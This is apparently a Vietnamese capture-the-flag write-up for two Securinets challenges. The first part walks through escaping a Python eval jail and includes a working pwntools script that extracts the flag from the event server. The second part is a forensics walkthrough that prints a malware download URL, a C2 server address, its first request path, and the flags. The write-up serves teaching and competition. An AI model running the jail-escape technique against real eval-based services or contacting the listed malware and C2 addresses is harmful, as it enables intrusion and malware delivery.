
Easy Jail
- Trước hết chúng ta sẽ cùng đi vào phân tích sơ qua file python được đề bài cung cấp cho.
seed = random.randint(0, 2**20)shift_rng = random.Random(seed)
class ProtectedFlag: def __init__(self, value): self._value = value
def __str__(self): return "variable protected, sryy"
def __repr__(self): return "variable protected, sryy"
def __getitem__(self, index): try: return self._value[index] except Exception: return "variable protected, sryy"
# Example flagflag = ProtectedFlag("flag{dummy_flag}")
def shift_mapping(mapping): # well guess how it was done >_<
def make_initial_mapping(): letters = list(string.ascii_lowercase) shuffled = letters[:] random.shuffle(shuffled) return dict(zip(letters, shuffled))- Đầu tiên thì flag sẽ được lưu vào biến flag với class
ProtectedFlagnhư một lớp bảo vệ, nó không thể được gọi như bình thường mà chỉ có thể lấy ra từng ký tự một (đây cũng chính là mấu chốt của chương trình này). - Tiếp đó là 2 hàm
shift_mappingvàmake_initial_mapping, trong đó có một thuật toán nào đó được ẩn đi để làm khó trong quá trình giải và các chữ cái được shuffle một cách random.
def main(): valid_chars = set(string.ascii_lowercase + "[]()~><*+") mapping = make_initial_mapping() print("Welcome to the shifting jail! Enter text using only a-z, []()~><*+")
try: while True: user_in = input("> ").strip() if len(user_in) > 150: raise ValueError(f"Input exceeds 150 characters")
if not all(c in valid_chars for c in user_in): print("Invalid input. Only [a-z] and []()~><*+ are allowed.") continue
encoded = "".join(mapping[c] if c in mapping else c for c in user_in)
mapping = shift_mapping(mapping) try: result = eval(encoded, {"__builtins__": None}, {"flag": flag}) print(result) except Exception: print(encoded)
except KeyboardInterrupt: print("\nGoodbye!")- Tiếp đó là hàm
main, hàm này cho ta biết việc chỉ có thể sử dụng các ký tựa-z và []()~><*+và độ dài của chuỗi nhập vào chỉ được giới hạn trong khoản 150 ký tự. - Cùng với đó là chặn hết tất cả các hàm
__builtins__nên ta không thể gọi được các hàm in để lấy flag được. - Sau quá trình phân tích thì ta sẽ tổng hợp được các ý nhỏ như sau:
- Không thể sử dụng các hàm
__builtins__để in flag. - Chỉ có thể gọi từng ký tự trong flag ra một.
- Dữ liệu nhập vào bị giới hạn trong các ký tự
a-z và []()~><*+và độ dài tối đa là 150 ký tự.
- Không thể sử dụng các hàm
- Với các ý đó thì ta có thể rút ra được việc nên sử dụng
not([])để có thể thay thế cho các chữ số, từ đó mà có thể lấy ra được các ký tự ở trong flag và ghép lại thành flag.

- Có một điều đặc biệt ở đây là khi mình test với các ký tự cho phép thì có thể thấy được có một khả năng ngẫu nhiên nào đó các dữ liệu được lặp lại, đây cũng sẽ là một dữ kiện quan trọng để ta khai thác được bài này.
- Ở đây mình có một đoạn code nho nhỏ để có thể test trước các ý tưởng của bản thân sau khi phân tích logic của chương trình.
alphabet = """abcdefghijklmnopqrstuvwxyz[]()~><*+"""shuffer = """qdtzwshgoxlbamvneykcprujfi[]()~><*+"""payload = "flag[not(not([]))]"
for i in payload: idx = shuffer.index(i) print(alphabet[idx], end="")- Biến shuffer ở đây sẽ thay thế bằng các ký tự mà server trả về khi mình gửi alphabet vào.
- Nếu như các phán đoán của mình đúng thì đoạn shuffer của biến payload sẽ lấy được chữ cái đầu tiên trong flag.
- Giờ cùng test thử với server xem như nào.

- Tuyệt vời rồi, giờ thì ta có thể chắc chắn được ta đang đi đúng hướng.
- Cứ tiếp tục như vậy, ta cần tính toán các phép tính làm sao để được liên tục các chữ số để thay cho index.
- Dưới đây là đoạn code python của mình để tự động sinh các payload và gửi đi để có thể lấy được flag cho bài này.
from pwn import *
def genlist(): ZERO = "not(not([]))" ONE = "(not([]))"
def make_pow2_expr(k): if k == 0: return ONE def build_count_expr(t): if t == 0: return ZERO if t == 1: return ONE parts = [] b = 0 while t: if t & 1: if b == 0: parts.append(ONE) else: parts.append(f"({ONE}<<{build_count_expr(b)})") t >>= 1 b += 1 return "+".join(parts) return f"({ONE}<<{build_count_expr(k)})"
def decompose_to_powers(n): ks = [] k = 0 while n: if n & 1: ks.append(k) n >>= 1 k += 1 return ks
def make_expr_for_n(n): if n == 0: return ZERO ks = decompose_to_powers(n) parts = [] for k in reversed(ks): parts.append(make_pow2_expr(k)) if len(parts) == 1: return parts[0] return "(" + "+".join(parts) + ")"
lst = [] for n in range(11, 29): expr = make_expr_for_n(n) flag_like = f"flag[{expr}]" lst.append(flag_like) return lst
p = remote("misc-b6c94dd8.p1.securinets.tn", 7000)
abc = "abcdefghijklmnopqrstuvwxyz[]()~><*+"p.sendlineafter(b"> ", f"{abc}".encode())p.recvline()shuffer = p.recvline().strip().decode()
lst = genlist()flag = "Securinets{"
for i in lst: payload = "" for j in i: idx = shuffer.index(j) payload += abc[idx] while True: p.sendlineafter(b"> ", f'{payload}'.encode()) p.recvline() rev = p.recvline().strip().decode() if (len(rev) == 1): flag += rev print(flag) break- Vì xác suất là ngẫu nhiên nên sẽ phải mất 1 chút thời gian để có thể lấy được toàn bộ flag nhưng cuối cùng khi chạy xong thì mình đã lấy được flag cho bài này.
Flag
Securinets{H0p3_Y0u_L0ST_1t!}Silent Visitor
What is the SHA256 hash of the disk image provided?

- Với câu hỏi này mình dùng web trên mạng để có thể check sha256 của file này và đã có được kết quả.
Identify the OS build number of the victim\xe2\x80\x99s system?

- Đầu tiên trong FTK Imager mình tìm đến file
\Windows\System32\config\SOFTWAREvà export nó ra. - Sau đó sử dụng Registry Editor để xem registry của file đấy.

- Sau đó tìm đến
Microsoft\Windows NT\CurrentVersion, nhìn vàoCurrentBuildNumbervà đã có kết quả cho câu hỏi này.
What is the ip of the victim’s machine?

- Tương tự như câu hỏi 2, tìm đến
\Windows\System32\config\SYSTEMvà export file đó ra, sau đó sử mở file vừa export bằngRegistry Editor.

- Tìm đến
ControlSet001\services\Tcpip\Parameters\Interfaces\, ở đây mình tìm từng folder một và sau đó đã tìm được kết quả ởDhcpIPAddress.
What is the name of the email application used by the victim?

- Mình tìm ở trong
Program Filesvà thấy có một ứng dụng để gửi mail làThunderbirdvà đó chính là kết quả cho câu hỏi.
What is the email of the victim?

- Với câu hỏi này vì đã biết người này dùng Thunderbird nên mình đã tìm đến phần
\AppData\Roaming\thunderbird\Profiles\, mở từng folder một tìm đến fileprefs.jstìm đếnmail.identity.id1.useremailvà đã có đáp án cho câu hỏi này.
What is the email of the attacker?

- Ở câu hỏi này mình cũng tìm đến
\AppData\Roaming\thunderbird\Profiles\, tìm vào các folder và mởImapMail\INBOXvà thấy có một mail gửi đến và nó chính là đáp án của câu hỏi này.
What is the URL that the attacker used to deliver the malware to the victim?

- Ở cùng file với câu hỏi trên tôi thấy có một link github.

- Truy cập vào link đó tôi thấy có một file đang thực hiện tải một file gì đó về, giải mã hóa đó ra tôi được một đường link
https://tmpfiles.org/dl/23860773/sys.exevà đó chính là đáp án của câu hỏi này.
What is the SHA256 hash of the malware file?

- Sau khi tải file malware này về thì nó được lưu ở folder Documents.

- mình export nó ra và cho vào virustotal thì có được sha265 của file đó và đó chính là đáp án của câu hỏi này.
What is the IP address of the C2 server that the malware communicates with?

- Ở trong virustotal mình cũng tìm được các địa chỉ IP và đó cũng chính là đáp án cho câu hỏi.
What port does the malware use to communicate with its Command & Control (C2) server?
- Cùng với câu hỏi trước thì đáp án cho câu hỏi này là
5000.
What is the url if the first Request made by the malware to the c2 server?
- Cũng như 2 câu hỏi trước thì đây chính là đáp án của câu hỏi này
http://40.113.161.85:5000/helppppiscofebabe23
The malware created a file to identify itself. What is the content of that file?

- Cũng ở virustotal, mình mở sang tab BEHAVIOR và thấy có một file txt được tạo.

- Tìm đến file đấy và mình đã có được đáp án cho câu hỏi này.
Which registry key did the malware modify or add to maintain persistence?

- Cũng trong tab ở câu hỏi trên mình thấy có một registry key được sử dụng và đó chính là đáp án cho câu hỏi này.
What is the content of this registry?

- Đầu tiên mình tìm đến file
Users\ammar\NTUSER.DAT, export nó ra và mở bằng Registry Editor.

- Sau đó trong Registry Editor tìm đến
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp, và ở đây mình đã có đáp án cho câu hỏi này.
The malware uses a secret token to communicate with the C2 server. What is the value of this key?

- Với câu hỏi này mình mở file
sys.exebằng IDA và mở vào hàmmain_main. - Tìm một lúc thì mình thấy có một đoạn key như trên hình.
- Và đó cũng chính là kết quả cho câu hỏi này.
Result
- Và sau khi trả lời hết tất cả các câu hỏi thì mình đã có cho mình flag của bài này.
Flag
Securinets{de2eef165b401a2d89e7df0f5522ab4f}